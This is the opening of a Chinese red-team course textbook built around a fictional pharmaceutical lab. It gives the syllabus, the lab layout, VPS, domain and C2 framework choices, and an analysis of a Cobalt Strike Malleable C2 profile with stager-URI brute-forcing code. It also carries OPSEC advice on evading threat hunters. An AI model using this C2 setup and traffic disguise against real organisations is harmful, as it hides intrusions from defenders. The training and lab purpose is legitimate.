# 企业基础设施攻击与红队行动

# 章节1：课程介绍



# 【免责声明】

因为该课程是 2 年多前以前编写的，有些内容现在看会稍显过时，并且那时候能力也不比现在。话虽如此，因为高度体系化，我还是有信心比很多同类课程的教材更全面和通透的。

此外不接受批评和建议，不是因为我自大或者玻璃心，而是因为我不会再对其进行更新，维护，纠错了。

教材是有配置靶场的，但目前只能作为教材和操作手册，读者还实操不了。不过我用immersive labs(无需硬件，一人独享靶场)复刻了这个靶场，之后可以考虑出售靶场访问。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2025-04/scaled-1680-/dMZVGOpxeuzhJb0H-image.png)](https://raven-medicine.com/uploads/images/gallery/2025-04/dMZVGOpxeuzhJb0H-image.png)

# 课程规划

## **课程规划**

我们一起看一下该课程的章节内容规划，从第2章开始，本课程正式进入技术部分：

#### **章节2：C2基础设施搭建** 

VPS选择  
域名与证书选择  
C2的选择  
C2侧写  
使用Azure CDN实现域前置  
Azure函数应用转发器  
Azure API管理服务转发器  
课程所用C2服务器配置  
【旧版】反向代理  
课后作业

#### **章节3：外部侦查** 

目标站点与子域名  
公开服务  
OSINT信息搜集  
子域名接管  
邮件服务器安全  
社会工程学信息搜集  
案例分析 Chater Communication 电信公司  
课后作业

#### **章节4：初始入侵** 

利用公开exp   
利用常见web漏洞   
代码审计突破边界   
配置不当的网络服务  
配置不当的云设施   
社会工程学攻击   
课后作业

#### **章节5：本地侦查以及特权提升** 

本地侦查思路  
敏感文件  
保存的凭证   
服务提权  
AlwaysInstallElevated提权  
SeImpersonatePrivilege提权  
UAC绕过  
CVE漏洞提权   
安全控制枚举  
课后作业

#### **章节6：本地持久化** 

计划任务  
启动与登陆出发  
服务  
DLL劫持与代理  
Linux 持久化  
其他方法

#### **章节7：域侦查** 

历史CVE漏洞  
用户与组  
主机  
OU与GPO  
内部服务访问  
域信任  
使用 SharpHound 枚举  
在 Linux 上的枚举  
DACL  
Kerberos 委派  
ADCS  
会话、进程与令牌  
课后作业

#### **章节8：当前域的利用** 

Kerberos认证与利用  
Kerberos委派的利用  
MSSQL的利用  
ADCS的利用  
GPO的利用  
DACL的利用历史  
CVE 漏洞的利用  
课后作业

#### **章节9：Windows凭证理论** 

NTLM认证  
SAM 安全账户管理器  
LSA 机密  
LSASS 本地安全机构子进程  
PPL  
Credential Guard 凭据保护  
域缓存凭证  
DPAPI 数据保护应用接口  
GPP 密码  
NTDS.DIT  
Windows 认证理论  
哈希传递 PASS THE HASH  
密钥传递 OVERPASS THE HASH  
票据传递 PASS THE TICKET  
LAPS 本地管理员密码解决方案  
gMSA 组托管服务密码  
课后作业

#### **章节10：代理与跳板** 

Socks代理  
端口转发  
多重跳板  
LLMNR中毒与中继攻击  
课后作业

#### **章节11：横向移动** 

PsExec  
WinRM  
DCOM  
WMI  
SSH劫持  
RDP劫持  
VNC  
第三方应用  
课后作业

#### **章节12：DevOps** 

Ansible  
供应链攻击  
课后作业

#### **章节13：支配域与森林** 

DCSync  
黄金票据  
钻石票据  
跨域理论  
双向信任  
入口信任  
出口信任  
AdminSDHolder  
万能钥匙  
恶意认证包  
黄金证书攻击  
课后作业

#### **章节14：恶意软件开发基础**

Windows架构、API 与编程调用  
PE文件  
动态链接库文件  
进程与线程  
x64汇编  
WinDBG使用  
Shellcode编写 (一)  
Shellcode编写 (二)  
课后作业

#### **章节15：安全控制突破** 

<div class="pointer-container" id="bkmrk-%C2%A0"><div class="pointer anim is-page-editable"><svg class="svg-icon" data-icon="link" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"></svg><div class="input-group inline block"> <button class="button outline icon" data-clipboard-target="#pointer-url" title="复制链接" type="button"><svg class="svg-icon" data-icon="copy" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"></svg></button></div><svg class="svg-icon" data-icon="edit" role="presentation" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"></svg></div></div>应用程序白名单  
约束语言模式  
杀毒软件与EDR原理  
反病毒扫描接口  
Windows事件追踪  
父进程欺骗  
沙箱检测  
进程与线程线程操纵  
反射式PE加载  
Hooking  
直接与间接syscall  
编写规避性载荷  
案例分析：CobaltStrike绕过检测  
案例分析：从LSASS.EXE导出凭证  
案例分析：Word宏绕过检测  
案例分析：APT的初始访问TTP  
课后作业

### **概述**

第 2 章节会讲解如何搭建 OPSEC 安全 的 C2 基础设施，避免在互联网上被威胁猎人给追踪到。我会从选择VPS 厂商、证书、域名开始，到使用 Azure 的多项云服务搭建看起来可信安全的基础设施。

在第 3 章，我们会学习如何进行外部信息搜集。这时候，我们已经有了一个目标企业了，并且掌握着一些信息，可能是主域名，可能是 IP 地址段，可能是公司名等。利用各种手段，将有限的信息扩大到足够我们发起一场入侵。

在第 4 章，我们会讨论各种常见的突破边界的方法与手段，即从外部网络打进企业内部网络，方法多种多样。

在第 5 章，假设我们已经成功突破了边界，获得了第一个 shell，无论是普通用户还是特权用户权限，我们下一步怎么做？本地侦查是十分重要的。

在第 6 章，我们会学习一些主机本地持久化的方法，这是个抛砖引玉，因为持久化的方法可以更加有创意且层出不穷。为什么要实现主机持久化呢，假如我们是通过社会工程学来突破边界的，那我们很难用同一种方法再次突破。

在第 7 章，我们会讨论如何去枚举当前主机所在的域网络。95% 的前 500 强企业都有部署 Active Directory，因此其自然是重点攻击对象。

在第 8 章，我们会就枚举所得到的信息进行充分利用，利用历史漏洞或者不当配置进行域渗透。

在第 9 章，我们会讨论 Windows 凭证相关的话题。凭证，是在行动中的重点战利品，因为凭证与权限是几乎直接挂钩的，但是，要怎么尽可能多地发现与利用呢？

在第 10 章，我们会讲述代理与跳板技术，企业网络中往往包含多个子网以及存在网络隔离的情况，我们可能需要在限制性的环境下进行后续的行动。

在第 11 章，我们会讲解常见的横向移动的技术和技巧，也包括 Linux 平台的。

第 12 章会涉及 DevOps 的利用，如果我们能污染 DevOps 的供应链，能带来严重的影响，从而导致大量主机沦陷。

在第 13 章，假定我们已经拿下了至少 1 个域了，接下来要做的是拿下更多的域与森林，蔓延我们的进攻之火。同时，保持对沦陷域的持久访问与特权，

第 14 章，我们开始学习恶意软件开发基础。作为红队成员，一味依赖现成工具会让我们处于被动之中，因此我们需要动手去开发解决特定需求。

在第 15 章，我们将利用第 14 章中所教授的基础来反制与规避可能遇到的安全控制措施，包括对杀毒软件的对抗。

# 师生交互与问题答疑

## **师生交互**

课堂内外，师生交互是重要的组成部分。在课堂中，能让我了解学生的实时学习状态：当前内容学生是否能跟上、难度过渡是否平滑、当前内容学生掌握程度等。在课后时间，能让我了解学生的课后学习规划：是否有持续学习、学习中遇到了哪些困难、当前状态是亢奋还是懈怠等。

为了能够让交互更加高效，以下是课堂内外的一些建议：

### **课堂中**

一堂课市场 2 小时，即 120 分钟。绝大部分时候是我在讲新课，因为课程的进度是需要得到时长保证的。但在讲课过程中，如果学生有任何疑问或者想要补充的，可以在 **Zoom 聊天框**发送全体信息，或者**语音**提醒我。有的时候，我会布置课堂任务，会分配 5-10 分钟，之后询问进展与成果。

一节课的结尾阶段，我会预留 5 分钟左右全体性地询问掌握情况以及解答问题。如果我没有能帮助当场解决，会在课后研究学生的问题，并在群里或者私聊该学生进行跟进与解答。

### **课后**

在每节课结束之后，学生往往能有新的**课后作业**去练习以用于巩固，而且**理解与消化课堂中的教学**也需要时间。根据第一期中较为勤奋积极的同学的反馈，每周往往需要**多个小时**来理解新的教学内容、阅读补充材料、完成课后作业。也就是说，如果想要较好地吸收与利用该课程的内容，是需要花较多时间的，如果想要能追上一周一次的教学进度而不掉队，是会感受到一定的压迫感。

靶场是练习学习到的知识的重要资源，与挑战型靶场的单一攻击路径不同，为了容纳尽可能多的攻击手法，靶场的攻击路线是多种多样且相互交织的，学生的目标不是拿到域控制器，而是尝试每一种可能的攻击路线。考虑到靶场比较庞大，如果认为自己遇到了 BUG 或者错误，请通知我，我会对靶场进行干净快照恢复。

课后时间，大家可以通过私聊、QQ 群、微信群与我或其他学员进行讨论与请教。我很欣赏勤奋主动的学生，对于被请教的问题，看到消息后，我在看到后会尽可能能解释到让学生理解。为了让提问更加高效，以下是一点小建议：

1\. 能尊重彼此的隐私与生活。对于我来说，我看到了就会处理与回复，不存在故意视而不见。

2\. 问题尽可能具体化。我不介意被问所谓简单的问题，不过对于能轻松 Google 到的问题，还是尝试搜索一下看看。善用搜索、甄别资源等能力，是我们网络安全人员的重要软技能之一。

### **课前**

建议在每周上课前，能花一些时间进行充分预习，包括但不局限于：提前阅读教材、下载所需工具、回忆前置知识点。

# 资源访问

## **资源访问**

本课程配套了相应的资源，不仅包含了教材，还有一套自治的靶场。靶场具有 5 个域，总计 13 台主机，共同模拟了一家虚构制药公司 Raven Medicine (渡鸦制药)。其中，个别服务器对外网开放特定端口与服务。

### **域与主机分布**

以下是5个域以及域内主机的分布：

#### **prod.raven-med.local**

- web01.prod.raven-med.local (边界1)
- file01.prod.raven-med.local
- srv01.prod.raven-med.local
- dc01.prod.raven-med.local

#### **raven-med.local**

- mon01.raven-med.local
- dc02.raven-med.local

#### **med-factory.local** 

- cert01.med-factory.local
- dc03.med-factory.local

#### **med-deal.local**

- srv02.med-deal.local
- dc04.med-deal.local

#### **white-bird.local**

- web02.white-bird.local (边界2)
- dev01.white-bird.local
- dc05.white-bird.loca

## **域信任**

**med-factory.local** 信任 **raven-med.local**

**raven-med.local** 信任 **white-bird.local**, 并且 **white-bird.local** 信任 **raven-med.local**

**med-deal.local** 信任 **med-factory.local**

**white-bird.local** 信任 **med-deal.local**

### **外部突破口**

考虑到服务器有安全产品保护着，所以不要轻易扫描主机以及应用。下文提供了从外部突破的入口，也正好省去了大家扫描主机的时间

ftp://raven-medicine

[http://raven-medicine.org](http://raven-medicine.org)

[http://raven-medicine.org:3000](http://raven-medicine.org:3000)

[http://raven-medicine.org:8090](http://raven-medicine.org:8090)

[http://white-bird.org:8080](http://white-bird.org:8080)

其中 raven-medicine.org 服务器对外运行着 FTP 服务，以及 3 个 Web 应用。white-bird.org 服务器对外只开放 1 个Web应用。虽然鼓励学生自行探索这些对外服务都是什么样的，我依旧在这里简单描述一下这些服务的类型和作用。

FTP 服务：Raven Medicine 公司配置不当的网络服务，不应当被暴露在公共网络

[http://raven-medicine.org](http://raven-medicine.org) 是 Raven Medicine 公司的主页，一个 PHP 站点

[http://raven-medicine.org:3000](http://raven-medicine.org:3000) 是一个基于 NodeJS 的内部聊天应用，似乎也不应该暴露在公开网络

[http://raven-medicine.org:8090](http://raven-medicine.org:8090) 是基于 noVNC 的火狐浏览器 Kiosk 模式

[http://white-bird.org:8080](http://white-bird.org:8080) 是一个基于 .NET 的数据库查询应用

# 章节2：C2基础设施搭建



# VPS选择

## **VPS 选择**

我们需要模拟外部攻击者来入侵靶场模拟的渡鸦制药公司，并且要使得一切都更专业化，因此选择一个 VPS 用来搭建 C2 基础设施是必须的。VPS，即虚拟专用服务器，是多租户云托管的一种形式，其中虚拟化服务器资源通过云或托管提供商通过互联网提供给终端用户。 每个 VPS 都安装在物理机上，由云或托管服务提供商运营，并运行着多个 VPS。

VPS 的供应商多种多样，为了使我们不迷失在众多供应商之中，在这里我提供 2 个自己信赖的 VPS 厂商，以及建议的配置等。需要注意的是，在中国大陆也是有诸多主流 VPS 厂商作为选择。我以下推荐的厂商可能需要你们使用 visa 支付。如果一些学生对此已经具备经验，那么完全可以按照自己的偏好来选择。

### **亚马逊AWS Lightsail**

地址：[https://lightsail.aws.amazon.com/ ](https://lightsail.aws.amazon.com/)

相比 EC2，亚马逊 AWS Lightsail 可以提供更受个人用户青睐的服务器，附带静态公网IP。除了可以用于搭建个人网站、博客之类的，当然也可以用于搭建 C2 基础设施。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/F4Oimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/F4Oimage.png)

Lightsail 附带了一些常见操作系统以及App应用，当然我们选择 **Ubuntu 20.04 LTS** 裸系统即可。接下来，可以根据自己需要选择分配的资源，以及对应的价格。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/fXwimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/fXwimage.png)

我的话，是选择了4GB 的内存，每个月 20 美元，当然你们可以选择 2GB 内存的，因为有额外的优惠，资源应当也是足够运行 C2 基础设施的。

等操作系统安装好了之后，使用者可以进行个性化配置，例如分配静态 IP、配置网络防火墙等，这些就由你们自行探索了。出于安全性考虑，我们可以对特定端口进行 IP 地址白名单。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/MQu0LWpjqXsSUM1D-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/MQu0LWpjqXsSUM1D-image.png)

### **Contabo VPS**

地址：[https://contabo.com/](https://contabo.com/)

Contabo VPS 是一家价格实惠、性能优秀、自定义丰富的 VPS 厂商，位于德国，本人是偏爱有加的。我们可以看到，8GB 内存、4核心处理器、300MB 带宽的 VPS 价格仅为人民币 60 左右。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/Fucimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/Fucimage.png)

在个性化 VPS 的时候，有诸多内容可以自定义，例如操作系统、是否带有子网网卡、地区、硬盘容量等。虽然部分自定义选项需要额外加钱，但根据课程所需的指标，最终配置下来一个月往往不会超过 15 美元。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/Mloimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/Mloimage.png)

以上，就是我个人推荐的 VPS/服务器厂商。有了具备静态公网 IP 的个人服务器之后，我们就可以搭建 C2 基础设施了。

# 域名与证书选择

## **域名与证书选择**

该篇内容对于学生来说是选做的，域名以及证书对于本课程的推进不是必要的。但如果用于实战中，那么这则会是必要的步骤。无论如何，让我们一起来了解一下怎么给VPS选择域名以及证书。

### **域名**

同VPS厂商一样，提供域名注册/购买的厂商也是繁多的，甚至一些厂商提供一条龙服务：VPS、域名、静态IP、证书。但在这里的话，我个人推荐在谷歌上购买域名。

地址：[Google Domains - Get a new domain](https://domains.google.com/registrar/search?hl=en-IN)

虽然域名的选择看似是可以根据个人喜好，但实则尽可能选择看起来有意义、合法有效的域名。相比 www.h4ck3r.com，www.centerbank.com 可能会是一个更好的选择。另外，一些黑客会使用与知名网站看起来类似的域名，比如 www.goog1e.com。虽然在有些时候，这样能骗过人眼从而提高钓鱼攻击的成功率，但企业的 DNS 过滤器则会屏蔽这些故意使用错字的域名。

比如，查找 raven-med.com 是否可用，这个域名还尚未被注册，并且一年只需要 12 美元的注册费。注册一个自己的域名，就是这么简单！

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/TADimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/TADimage.png)

在 google 上购买了域名之后，可以在域名设置中配置 DNS，使得该域名与自己所持有的公网 IP 映射起来，这样大家就能通过好记的域名来访问你的 VPS 了，如果有公开服务的话。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/Sfaimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/Sfaimage.png)

### **证书**

无论是搭建个人网站，还是用于 C2 服务器，我们最好用 TLS/SSL 来加密通信以提高传输中安全，因此一个可信的证书是很有必要的。尽管可以使用自签名证书，但自签名证书在公网是不被信任的。因此，我们可以选择在 [Let's Encrypt](https://letsencrypt.org/) 上注册一个证书。LetsEncrypt 提供的证书是免费且相对可信的，这是个很好的选择。该网站会引导我们访问这个网站 [Certbot Instructions | Certbot (eff.org)](https://certbot.eff.org/instructions?ws=webproduct&os=ubuntufocal) ，我们跟着教程中的命令一步步执行，就可以有自己的证书了。涉及的命令如下：

```bash
root@web01:~# snap install core
core 16-2.58 from Canonical✓ installed
root@web01:~# snap refresh core
snap "core" has no updates available
root@web01:~# snap install --classic certbot
certbot 1.32.2 from Certbot Project (certbot-eff✓) installed
root@web01:~# ln -s /snap/bin/certbot /usr/bin/certbot
root@web01:~# certbot certonly -d raven-med.com --apache --register-unsafely-without-email --agree-to
```

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/8Ylimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/8Ylimage.png)

但是在本课程中，我们不需要购买域名和证书。我们可以先通过 openssl 来生成密钥对，再生成一个证书签名请求 CSR。Common Name 字段需要是**公共 IP** 或者**域名**。我们会在稍后用到证书。

```bash
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout private.key
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/l3CkSZdDyLNM2HkJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/l3CkSZdDyLNM2HkJ-image.png)

#### ***OPSEC Note***

因为 LetsEncrypt 证书免费且相对可信，因此攻击者也对此加以滥用。如果为了更高的可信度，建议申请收费的证书。

# C2的选择

## **C2 的选择**

C2基础设施的准备工作已经做好了，接下来该选择一款得心应手的 C2 工具，因为它将会伴随着我们很长一段时间。

在选择的时候，我们可以参考 C2 矩阵 [https://www.thec2matrix.com/matrix](https://www.thec2matrix.com/matrix)。C2 矩阵列举了知名的一批 C2 框架，当然这不是一个穷尽的列举，有些红队武器开发这会开发自己的 C2 工具，而且效果可能会很不错，但并不会公开而是内部使用。C2 矩阵还罗列了各个 C2 的差异、功能等属性。我从中挑选了几款作为介绍与对比。

### **Metasploit**

这是大家很熟悉的了，Metasploit 既可以作为集成了诸多 exp 的渗透框架，同时它的 Meterpreter 也是个具备基础功能的 C2 框架，Kali Linux 自带Metasploit，所以使用 Meterpreter 几乎没有门槛。

优点：支持多平台植入、方便使用、门槛低、方便生成多种载荷类型

缺点：内置功能少、特征明显、植入的心跳是均等时间间隔等

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/qXyimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/qXyimage.png)

### **Cobalt Strike**

Cobalt Strike 是最知名的付费商业 C2 工具，有着庞大的使用群体，从红队操作员到 APT 组织。作为 C2 届的标杆，Cobalt Strike 的表现与功能性对得起这个头衔，尽管也并非是完美的。

优点：持续更新、稳定性高无明显 BUG、功能较为全面且强大、方便生成各种类型载荷、操作简便、社区氛围优秀以及形成了生态

缺点：内置 VNC 功能鸡肋、界面美观度一般、特征被高度收录

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/JNEimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/JNEimage.png)

### **Sliver C2**

地址：https://github.com/BishopFox/sliver

作为一款优秀的开源 C2，Sliver C2 逐渐成为红队、APT 组织，以及其他网络犯罪组织所使用的 C2 工具。Sliver C2具备诸多 Cobalt Strike 的功能，且在不断更新中，未来可期。

优点：易于部署、内置诸多功能注重于 OPSEC、功能较为全面、持续维护与更新中

缺点：存在一些 BUG、默认生成的可执行载荷体型很大、缺乏 GUI 客户端

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/ODfmE3pX1l2oKBls-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/ODfmE3pX1l2oKBls-image.png)

### **Sharp C2**

地址: [https://github.com/rasta-mouse/SharpC2](https://github.com/rasta-mouse/SharpC2)

SharpC2是 rasta-mouse 用 C# 语言编写的一款 C2, 命令和功能都比较接近 Cobalt Strike, 并且现在已经有了 GUI 客户端.

优点：功能丰富、操作熟悉、结构干净利落

缺点：需要更多的使用反馈作为参考

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/4VdeO3jCtkw9B5EJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/4VdeO3jCtkw9B5EJ-image.png)

### **Havoc C2**

地址: [https://github.com/HavocFramework/Havoc](https://github.com/HavocFramework/Havoc)

一18岁天才少年开发出的 C2 框架，功能强大，界面美观，风格有些类似 BRC4，且免费.

优点：界面美观、功能丰富、有诸多高水平红队开发员给予开发支持

缺点：不够稳定，具有一些 BUG

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/YWmvbEaWhkJRDjwz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/YWmvbEaWhkJRDjwz-image.png)

### **BRC4**

这是一款以 EDR 规避能力著称的商业 C2。在之前，Brutal Ratel C4 ([https://bruteratel.com/)](https://bruteratel.com/)) 因为其高超的规避能力以及相比 CobaltStrike 少一些的用户，尚未出现在聚光灯下，因此也开始被一些犯罪组织所使用。BRC4 1.2.2 曾经有过泄露, 因此安全社区得以对其进行分析和作为案例研究。

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/VvYimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/VvYimage.png)

###  

### **其他**

同时，PoshC2、Mythic C2 等也是优秀且免费开源的 C2，大家都可以亲自尝试尝试。但在本课程中，我们最终还是使用 Cobalt Strike 作为C2 框架并且架设在 VPS 之上，因为 Cobalt Strike 的生态圈和社区已经足够成熟。

# C2侧写

## **C2侧写**

Cobalt Strike 支持自定义侧写。自定义侧写不仅可以让我们自定义 Beacon 与 Team Server 之间的通信方式，从网络通信层面实现混淆效果，还可以自定义 **Beacon 行为特征，例如反射DLL拓展、进程注入设置、后利用选项等**。Malleable C2 仓库([https://github.com/rsmudge/Malleable-C2-Profiles](https://github.com/rsmudge/Malleable-C2-Profiles))整合了一系列的 C2 侧写 ，但是考虑到这个仓库是公开的，侧写中的通信模式被标记也是显然的事情。因此，如果用于实战中，我们需要对这些侧写进行二次修改甚至完全重写。

接下来，我们选择一个较为简单的 C2 侧写文件 **webbug.profile** 作为案例，简要分析 HTTP 协议下的流量特征。HTTPS 监听器相比 HTTP 监听器，增加了 TLS 层对通信的加密，但其他是相似的。值得一提的是，如果在实战过程中更换 C2 侧写，可能会丢失目前的所有 Beacon，这是理所当然的，因为通信模式都改变了。

如下所示的是侧写中的完整内容，该侧写定义了 **URI**、**请求参数**、**请求头**、**数据主体**等参数，让我们来按模块分析一下这个侧写。

```
http-get {
        set uri "/__utm.gif";
        client {
                parameter "utmac" "UA-2202604-2";
                parameter "utmcn" "1";
                parameter "utmcs" "ISO-8859-1";
                parameter "utmsr" "1280x1024";
                parameter "utmsc" "32-bit";
                parameter "utmul" "en-US";

                metadata {
                        netbios;
                        prepend "__utma";
                        parameter "utmcc";
                }
        }

        server {
                header "Content-Type" "image/gif";

                output {
                        # hexdump pixel.gif
                        # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
                        # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
                        # 0000020 01 00 01 00 00 02 01 44 00 3b 

                        prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
                        prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
                        prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";

                        print;
                }
        }
}

http-post {
        set uri "/___utm.gif";
        client {
                header "Content-Type" "application/octet-stream";

                id {
                        prepend "UA-220";
                        append "-2";
                        parameter "utmac";
                }

                parameter "utmcn" "1";
                parameter "utmcs" "ISO-8859-1";
                parameter "utmsr" "1280x1024";
                parameter "utmsc" "32-bit";
                parameter "utmul" "en-US";

                output {
                        print;
                }
        }

        server {
                header "Content-Type" "image/gif";

                output {
                        prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
                        prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
                        prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
                        print;
                }
        }
}

# dress up the staging process too
http-stager {
        server {
                header "Content-Type" "image/gif";
        }
}

```

如下所示的是 **http-get** 块，定义了 **GET 请求**的通信模式。**set uri** 指定了服务器与客户端要使用的 URI，这里是 **\_\_utm.gif**。如果请求的 URI 与侧写中这里指定的不同，那么会返回 **404** 响应。

```
http-get {
        set uri "/__utm.gif";
        client {
                parameter "utmac" "UA-2202604-2";
                parameter "utmcn" "1";
                parameter "utmcs" "ISO-8859-1";
                parameter "utmsr" "1280x1024";
                parameter "utmsc" "32-bit";
                parameter "utmul" "en-US";

                metadata {
                        netbios;
                        prepend "__utma";
                        parameter "utmcc";
                }
        }

        server {
                header "Content-Type" "image/gif";

                output {
                        # hexdump pixel.gif
                        # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
                        # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
                        # 0000020 01 00 01 00 00 02 01 44 00 3b 

                        prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
                        prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
                        prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";

                        print;
                }
        }
}
```

**client** 块中指定了可以添加到 URI 后面的参数，以及固定的数值，通过 **key-value** 的形式存在。**metadata** 块则定义了有关 Beacon 所在**受控主机的相关信息**是如何传递的。这里，这些信息采用了 **netbios 编码**，为 **utmcc 参数**的值，并且值的最前端有字符串 "**\_\_utma**"。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/awEw0z4UK7tkxl9r-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/awEw0z4UK7tkxl9r-image.png)

而 **server** 块定义了来自团队服务器的响应看起来是怎样的，这里，侧写指定了类型为 **image/gif** 的 **Content-type 响应头**。**output** 块定义了返回的数据是怎么被转换的，**print** 对应**数据主体**，这里，该侧写在数据主体之前附加了**固定的数据**。

分析完 http-get 块之后，**http-post** 块也是类似的语法与含义。让我们看看 Wireshark 视角下的数据包：

我们能看到，通信数据包主要以 **GET 请求**为主，因为无论是主机**首次上线**团队服务器，还是受害主机后续通过 Beacon 来向服务器**确认存活**，都是通过 GET 请求的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/YEXKVBtmu8NLQlU8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/YEXKVBtmu8NLQlU8-image.png)

查看其中一个 GET 请求详情，我们能看到侧写文件中定义的 URI，参数与其固定值，metadata 所对应的参数与值等信息。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/wo1ABlEIpftvOGvk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/wo1ABlEIpftvOGvk-image.png)

如果团队服务器有分发任务(这里是执行 getuid 命令)，那么**任务信息**会包含在对 **GET 请求的响应**中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/dCWgYrBiCv4i4rrm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/dCWgYrBiCv4i4rrm-image.png)

如果没有分发的任务，除了添加的固定数据外，则是空的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/JmMe4uEY7VIW2Q02-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/JmMe4uEY7VIW2Q02-image.png)

当命令在 Beacon 端执行后，客户端通过 **POST** 请求传输加密后的输出数据。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/EEGgv1TeA5KJG7Kh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/EEGgv1TeA5KJG7Kh-image.png)

我们再来说说 **Http Stager 监听器**。Stageless 的载荷，即是完整的 CobaltStrike Agent，一般在 200-300 KB。一方面，因为尺寸相对较大，且文件的特征更为显著，因此有时操作员会同时启用 Stager 监听器，以及分发 Stager 载荷。Stager 载荷尺寸要小得多，负责从团队服务器的 Stager 监听器上拉取 DLL 载荷并注入于内存中。但 Stager 监听器也有着 OPSEC 上的风险，尤其是 CobaltStrike 对它的实现。

CobaltStrike 使用了 **checksum8** 的 URL 算法来分发载荷，算法代码如下所示：

```java
public static long checksum8(String text) {
    if (text.length() < 4) {
        return 0L;
    }
    text = text.replace("/", "");
    long sum = 0L;
    for (int x = 0; x < text.length(); x++) {
        sum += text.charAt(x);
    }

    return sum % 256L;
}

public static boolean isStager(String uri) {
    return (checksum8(uri) == 92L);
}

public static boolean isStagerX64(String uri) {
    return (checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}"));
}
```

我们可以通过如下的 Python 代码暴力破解出所有可用的 URI：

```python
from itertools import product
import string

def checksum8(strr):
    j = 0
    if len(strr) < 4:
        return 0
    strr = strr.replace("/", "")
    for c in strr:
        j += ord(c)
    return j % 256

chars = string.ascii_letters + string.digits
to_attempt = product(chars, repeat=4)
for attempt in to_attempt:
    word = ''.join(attempt)
    r = checksum8(word)
    if r == 92:
        print("{:30} - 32b checksum".format(word))
    elif r == 93:
        print("{:30} - 64b checksum".format(word))
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/xrHu9crncCsNUp1Q-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/xrHu9crncCsNUp1Q-image.png)

例如通过 GET 请求访问 **/aab9**，可以得到 64 位的载荷。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/pyu2881FS1pRLYm7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/pyu2881FS1pRLYm7-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/nM2AVOFKsC5ue6QA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/nM2AVOFKsC5ue6QA-image.png)

因为防御者很容易拉取载荷进行取证，我们最好直接关闭 Stager 监听器，通过在 **http-stager 块**上方加入这么一行：

```
set host_stage "false";
```

